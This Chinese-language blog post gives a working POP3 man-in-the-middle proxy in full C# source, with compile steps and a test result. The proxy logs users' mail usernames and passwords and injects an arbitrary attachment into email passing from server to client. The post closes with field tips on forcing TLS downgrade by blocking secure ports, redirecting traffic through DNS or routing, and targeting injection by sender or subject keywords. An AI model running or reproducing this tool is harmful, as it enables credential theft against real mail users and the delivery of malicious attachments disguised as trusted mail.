现在的位置: 首页 MITM >正文

POP3 MITM思路与简单实现

文章代码仅限技术交流使用,请遵守国家相关法规。

因使用不当造成的问题与本人无关。


渗透中有时会遇到控制DNS或路由交换设备的场景,此时我们可以发动中间人攻击。

大多数时候,中间人攻击是面向浏览器的,由于HTTPS与HSTS的普及,现在已经不能取得较好的结果。

而在实际的办公网络中,邮件客户端与对应的POP/IMAP/SMTP协议也极为常见。从社工的角度看,对可信发件人的邮件进行篡改的成功率会更高于浏览器钓鱼。

同时,绝大部分邮件客户端在自动查找服务器时会尝试所有协议,大部分客户端和服务器均没有强制SSL的要求,这在对方使用POP3S(995端口)时尝试进行降级也是非常有利的条件。


0x01 原理

POP协议和HTTP类似,同样属于早期的纯文本协议,一封EML邮件和一个HTTP POST包并没有本质区别。实际上,包含附件的EML和HTTP上传文件的multipart包几乎一模一样。

所以只要将multipart的结束标志替换为一个attachment块即可:

pop1.jpg

唯一要注意的是一个小区别:

multipart/alternative格式的邮件包含文本和html两个部分,其中html部分为现代邮件客户端显示的内容,文本部分为老式邮件客户端显示的内容,其他部分(如附件等)将被忽略。

而现在绝大部分的邮件客户端在处理multipart/relative格式时提供了针对multipart/alternative格式的兼容性,所以针对类似情况,在处理时还需要将邮件头中的Content-Type修改为multipart/relative。


0x02 简单实现

下面(简陋的)的代码实现了以下两个功能:

针对客户端:记录用户名密码。

针对服务器:修改multipart类型的邮件,注入一个自己的附件。

(注:由于没有好用的解析库,暂时不支持纯文本/纯HTML邮件。)

using System;
using System.Text;
using System.Threading;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace Zcg.Tests
{
    class PopFuckProxy
    {

        enum state
        {
            header,
            replace
        }
        static string fn = "";
        static string b64 = "";

        static void Main(string[] args)
        {
            Console.WriteLine("POP3 MITM tool v0.1");
            Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh.\r\n");
            try
            {
                if (args.Length > 4)
                {
                    fn = args[4];
                    b64 = Convert.ToBase64String(File.ReadAllBytes(fn), Base64FormattingOptions.InsertLineBreaks);
                    fn=Path.GetFileName(fn);
                }
                TcpListener tl = new TcpListener(IPAddress.Parse(args[0]), int.Parse(args[1]));
                tl.Start();
                while (true)
                {
                    NetworkStream nsc = tl.AcceptTcpClient().GetStream();
                    TcpClient tc = new TcpClient();
                    tc.Connect(args[2], int.Parse(args[3]));
                    NetworkStream nss = tc.GetStream();
                    new Thread(Read).Start(new object[] { nsc, nss });
                    new Thread(Write).Start(new object[] { nsc, nss });
                }
            }
            catch (Exception ex)
            {
                if (ex is IndexOutOfRangeException || ex is FormatException)
                {
                    Console.WriteLine("usage: PopFuckProxy <lhost> <lport> <rhost> <rport> [attachment]");
                }
                else
                {
                    Console.WriteLine(ex);
                }
            }
        }
        static void Read(object o)
        {
            try
            {
                object[] obj = o as object[];
                NetworkStream nsc = obj[0] as NetworkStream;
                NetworkStream nss = obj[1] as NetworkStream;
                StreamReader sr = new StreamReader(nsc);
                StreamWriter sw = new StreamWriter(nss);
                sw.AutoFlush = true;
                string s = sr.ReadLine();
                while (s != null)
                {
                    if (s.StartsWith("USER"))
                    {
                        Console.WriteLine("[!] " + s);
                    }
                    else if (s.StartsWith("PASS"))
                    {
                        Console.WriteLine("[!] " + s);
                    }
                    sw.WriteLine(s);
                    s = sr.ReadLine();
                }
            }
            catch { }
        }
        static void Write(object o)
        {
            try
            {
                object[] obj = o as object[];
                NetworkStream nsc = obj[0] as NetworkStream;
                NetworkStream nss = obj[1] as NetworkStream;
                StreamWriter sw = new StreamWriter(nsc);
                sw.AutoFlush = true;
                StreamReader sr = new StreamReader(nss);
                state stat = state.header;
                string boundary = "";
                string boundarye = "";
                string s = sr.ReadLine();
                while (s != null)
                {
                    switch (stat)
                    {
                        case state.header:
                            {
                                if (boundarye != "" && s == "")
                                {
                                    stat = state.replace;
                                }
                                else if (s.StartsWith("Content-Type") && s.IndexOf("multipart/") > 0)
                                {
                                    if (s.IndexOf("multipart/alternative") > 0)
                                    {
                                        s = s.Replace("multipart/alternative", "multipart/relative");
                                    }
                                    if (s.IndexOf("boundary=") < 0)
                                    {
                                        sw.WriteLine(s);
                                        s = sr.ReadLine();
                                    }
                                    var arr = s.Split(new string[] { "boundary=" }, 2, StringSplitOptions.RemoveEmptyEntries);
                                    if (arr.Length == 2)
                                    {
                                        boundary = "--" + arr[1].Trim(' ', '\t', '\'', '"');
                                        boundarye = boundary + "--";
                                        stat = state.replace;
                                    }
                                }
                                else if (s.StartsWith("Subject"))
                                {
                                    Console.WriteLine("[+] " + s);
                                }
                                sw.WriteLine(s);
                                break;
                            }
                        case state.replace:
                            {
                                if (s == boundarye && fn != "")
                                {
                                    sw.WriteLine(boundary);
                                    sw.WriteLine("Content-Type: application/octet-stream;");
                                    sw.WriteLine("    charset=\"utf-8\";");
                                    sw.WriteLine("    name=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
                                    sw.WriteLine("Content-Disposition: attachment; filename=\"" + System.Web.HttpUtility.UrlEncode(fn,Encoding.UTF8) + "\"");
                                    sw.WriteLine("Content-Transfer-Encoding: base64");
                                    sw.WriteLine();
                                    sw.WriteLine(b64);
                                    sw.WriteLine(boundarye);
                                    stat = state.header;
                                    boundarye = "";
                                    Console.WriteLine("[!] Attachment added!");
                                }
                                else
                                {
                                    sw.WriteLine(s);
                                }
                                break;
                            }
                    }
                    s = sr.ReadLine();
                }
            }
            catch { }
        }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc POPFuckProxy.cs
#dotnet core环境下请自行创建工程复制粘贴。


0x03 测试效果

pop.png

如图所示,客户端通过11110端口进行POP3协议收信,用户名和密码已被记录,同时邮件附件被添加了指定的data.rar。


0x04 真实场景的一些Tips

1.鉴于场景大多时候是通过DNS、路由等方式,将流量重定向到自己的vps或服务器。所以此时端口也要改成110,以防客户端找不到端口的问题。

2.尽量不要用其他工具代理143、995、993三个端口,这样在对方自动发现尝试时可以“强迫”降级到POP3;25和465最好进行代理,防止影响目标使用。

3.可以在处于state.header状态时检查From、Subject,根据关键词或发件者(以及发件者备注)来进行更精确的投放。

4.可以在代码中新建两个StreamWriter,把流量保存到文件,或者魔改OpenPOP等库把邮件本体进行导出。当然如果图省事也可以用tcpdump+tshark。


Github:https://github.com/zcgonvh/POPFuckProxy

Release:懒得打包加密了,自己编译吧~